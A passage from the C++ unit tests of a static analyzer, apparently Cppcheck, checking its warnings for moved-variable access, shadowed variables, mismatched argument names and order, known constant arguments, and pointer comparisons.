b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - 